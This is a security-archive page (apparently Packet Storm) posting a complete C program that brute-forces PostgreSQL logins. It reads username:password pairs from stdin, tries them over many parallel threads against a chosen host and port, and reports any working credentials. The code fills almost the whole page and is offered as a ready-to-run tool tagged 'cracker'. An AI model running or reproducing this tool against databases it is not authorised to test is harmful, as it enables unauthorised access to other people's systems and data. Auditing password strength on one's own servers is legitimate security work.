what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PgSql Brute Force

PgSql Brute Force
Posted Jan 31, 2012
Authored by James Stevenson | Site stev.org

This is a small application built to demo the weakness in pgsql and networking. It is capable of running login attempts from multiple threads in parallel and can run up to 1024 concurrent connections.

tags | tool, cracker, sql injection
SHA-256 | a1cbc90da097874a42f190353d335d48e7833a5c03b38e5d2c09ee9a1505b115

PgSql Brute Force

Change Mirror Download
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Library General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* $Id: brute-pgsql.c,v 1.1 2012/01/25 22:32:03 james.stevenson Exp $
*
* Author:
* NAME: James Stevenson
* WWW: http://www.stev.org
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <getopt.h>
#include <string.h>
#include <pthread.h>

#include <postgresql/postgres.h>
#include <postgresql/postgres_fe.h>
#include <postgresql/libpq-fe.h>

int verbose = 0;
int total = 0;
volatile int quit = 0;

pthread_mutex_t mutex_pass = PTHREAD_MUTEX_INITIALIZER;

struct args {
char *host;
char *db;
int port;
};

void print_help(FILE *fp, char *app) {
fprintf(fp, "Usage: %s [<options>]\n", app);
fprintf(fp, "\n");
fprintf(fp, " -h Print this help and exit\n");
fprintf(fp, " -v Verbose. Repeat for more info\n");
fprintf(fp, " -d <db> Database name to connect to\n");
fprintf(fp, " -t <host> host to try\n");
fprintf(fp, " -p <port> port to connect on\n");
fprintf(fp, " -n <num> number of threads to use\n");
fprintf(fp, "\n");
fprintf(fp, "Note: usernames / password will be read from stdin\n");
fprintf(fp, "The format for this is username:password\n");
fprintf(fp, "\n");
}

int try(char *hostname, char *username, char *password, char *db, int port) {
char *str = 0;
int result = 0;

if (asprintf(&str, "host=%s port=%d user=%s password=%s dbname=%s", hostname, port, username, password, db) < 0) {
printf("asprintf failed\n");
return 0;
}

PGconn *conn = PQconnectdb(str);
if (!conn) {
printf("PQconnectdb failed\n");
free(str);
return 0;
}

ConnStatusType ret = PQstatus(conn);
switch(ret) {
case CONNECTION_OK:
if (verbose >= 2)
printf("Connection Success: %s\n", PQerrorMessage(conn));
result = 1;
break;
default:
if (verbose >= 2)
printf("Connection Failed: %s\n", PQerrorMessage(conn));
result = 0;
break;
}

PQfinish(conn);

free(str);
return result;
}

int getpassword(char **buf, size_t *buflen, char **username, char **password) {

pthread_mutex_lock(&mutex_pass);

if (getline(buf, buflen, stdin) >= 0) {
pthread_mutex_unlock(&mutex_pass);
char *tmp = strchr(*buf, ':');
if (tmp == 0 || tmp[1] == 0)
return 0;
*username = *buf;
*tmp = 0;
tmp++;
*password = tmp;
tmp = strchr(*password, '\n');
if (tmp != 0)
*tmp = 0;
if (verbose >= 2)
printf("username: %s password: %s\n", *username, *password);
return 1;
}

pthread_mutex_unlock(&mutex_pass);
return 0;
}

void *run(void *p) {
struct args *a = (struct args *) p;
char *buf = 0;
size_t buflen = 0;
char *user = 0;
char *pass = 0;

while(quit == 0) {
if (getpassword(&buf, &buflen, &user, &pass) == 0)
goto free; /* we ran out of passwords */

if (try(a->host, user, pass, a->db, a->port)) {
printf("Success! Username: %s Password: %s\n", user, pass);
quit = 1;
goto free;
}
}

free:
if (buf != NULL)
free(buf);

pthread_exit(NULL);
return NULL;
}

int main(int argc, char **argv) {
struct args args;
pthread_t *thd;
pthread_attr_t attr;
int nthreads = 1;
int i = 0;
int c;

memset(&args, 0, sizeof(args));

while( (c = getopt(argc, argv, "d:hn:p:t:v")) != -1) {
switch(c) {
case 'd':
args.db = optarg;
break;
case 'h':
print_help(stdout, argv[0]);
exit(EXIT_SUCCESS);
break;
case 'n':
nthreads = atoi(optarg);
break;
case 't':
args.host = optarg;
break;
case 'v':
verbose++;
break;
case 'p':
args.port = atoi(optarg);
break;
}
}

if (args.db == NULL)
args.db = "mysql";

if (args.host == NULL)
args.host = "localhost";

if (args.port == 0)
args.port = 5432;

thd = malloc(nthreads * sizeof(*thd));
if (!thd) {
perror("malloc");
exit(EXIT_FAILURE);
}

if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
exit(EXIT_FAILURE);
}

if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE) != 0) {
perror("pthread_attr_setdetachstate");
exit(EXIT_FAILURE);
}

for(i=0;i<nthreads;i++) {
if (pthread_create(&thd[i], NULL, run, &args) != 0) {
perror("pthread_create");
exit(EXIT_FAILURE);
}
}

for(i=0;i<nthreads;i++) {
if (pthread_join(thd[i], NULL) != 0) {
perror("pthread_join");
exit(EXIT_FAILURE);
}
}

pthread_attr_destroy(&attr);

free(thd);

return EXIT_SUCCESS;
}


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close